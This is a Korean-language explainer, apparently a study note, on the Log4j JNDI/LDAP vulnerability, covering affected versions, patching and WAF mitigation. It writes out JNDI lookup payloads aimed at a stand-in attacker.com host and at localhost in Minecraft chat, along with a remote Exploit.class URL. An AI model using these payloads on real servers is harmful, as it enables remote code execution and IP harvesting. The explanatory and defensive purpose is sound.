Log4j 취약점
Log4j
웹 서비스 동작 과정에서 일어나는 일련의 모든 기록을 남겨 침해사고 발생 및 이상징후를 점검하기 위해 필수적으로 필요한 기능. Java 기반의 모든 어플리케이션에서 사용 가능
Log4j 취약점은 JNDI와 LDAP를 이용함. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이며, Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스. JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP. 이 LDAP가 이번 취약점에 가장 중요!
Apache Log4j 라이브러리를 사용하는 서버/어플리케이션에 대한 원격 실행
공격자는 특정 서식이 포함된 로그 메시지를 전달하여 임의의 코드를 서버/클라이언트에서 실행시킬 수 있음.
이에 대응하기 위해서는 취약한 버전의 라이브러리를 사용하는 어플리케이션이 있을 경우 제조사(아파치)의 권고에 따라 최신 버전으로 패치를 적용해야함.
→ 운영중인 서비스나 솔루션, 프로그램들 중 Log4j를 사용하고 있는지 확인하는 것이 가장 중요!
→ Log4j는 자바 기반 프로그램 개발에서 가장 흔히 사용되는 오픈소스 라이브러리이다보니, 실제 해당 라이브러리를 사용하고 있는 대상을 찾는 것이 쉽지 않음
자바로 개발되고 아파치 Log4j 2.17.0 이전 버전(2.12.2 제외)의 라이브러리를 사용하는 모든 서버, 클라이언트는 취약점의 대상이기 때문에 확인이 필요함.
Log4j-core JAR 파일 없이 Log4j-api JAR 파일만 사용하는 경우 취약점의 영향을 받지 않음.
Log4j의 업그레이드가 어려울 경우 웹 방화벽이나 침입방지시스템(IPS)을 이용하여 유입되는 트래픽에서 공격 코드를 차단할 수 있는 패턴을 등록하거나, 설정을 통해 임시적으로 대응할 수 있음.
Log4j 공격 요건
- 취약한 Log4j 버전을 사용하고 있는 서버나 서비스가 있는 경우
- 공격자가 익스플로잇 문자열을 보낼 수 있는 프로토콜(HTTP, TCP 등)이 사용되는 경우
- 요청에 의한 로그의 결과 문자열을 출력하는 경우
공격 단계
- 사용자의 데이터는 열려 있는 프로토콜을 통해 서버로 전송함.
- 서버는 악성 페이로드를 포함하는 요청 데이터를 기록함.
${indi:ldap://attacker.com/a} - Log4j 취약점이 페이로드에 의해 활성화되고, 서버는 JNDI(Java Naming and Directory Interface)를 통해 “attacker.com”에 요청을 보냄.
- 응답에는 서버 프로세스에서 삽입된 원격 자바 클래스 파일 (ex. http://second-stage.attacker.com/Exploit.class)의의) 경로를 포함함
- 삽입된 페이로드는 두번째 단계를 활성화하고, 공격자가 임의의 코드를 실행할 수 있도록 함.
공격 데이터 전송 예시
${indi:ldap://127.0.0.1/e} 를 (마인크래프트) 채팅에 붙여 넣음. 포트 389번에 소켓이 열려 있으면 log4j는 연결을 시도하고, 시간 초과가 발생할 때까지 추가 통신을 차단함.
익스플로잇이 정상적으로 작동하면 아래 그림처럼 콘솔 로그에 LDAP 서버의 직렬화된 문자열 개체 “THIS IS SEND TO THE LOG!!! Log4j EXPLOIT!”을 기록함
악의적인 LDAP 서버는 수신되는 모든 IP 주소를 기로갛는데, 이는 서버에 있는 플레이어의 IP 주소를 수집할 수 있음을 의미함.
${jndi:ldap://127.0.0.1/exe} 을 마인크래프트 채팅에 붙여 넣음. 만약 “Dcom.sun.jndi.ldap.object.trustURLCodebase=true” 로 설정되어 있는 경우 원격 코드 실행이 발생하게 됨.
최신 JDK는 기본적으로 원격 클래스 로딩을 비활성하지만, 오래된 버전을 사용하는 경우 원격 공격이 유효할 수 있음.
보안 업데이트를 하지 않을 경우 원격의 공격자가 Log4j 취약점을 악용하여 악성코드 유포, 중요 데이터 탈취, 임의의 파일 다운로드 및 실행 등의 공격이 가능함.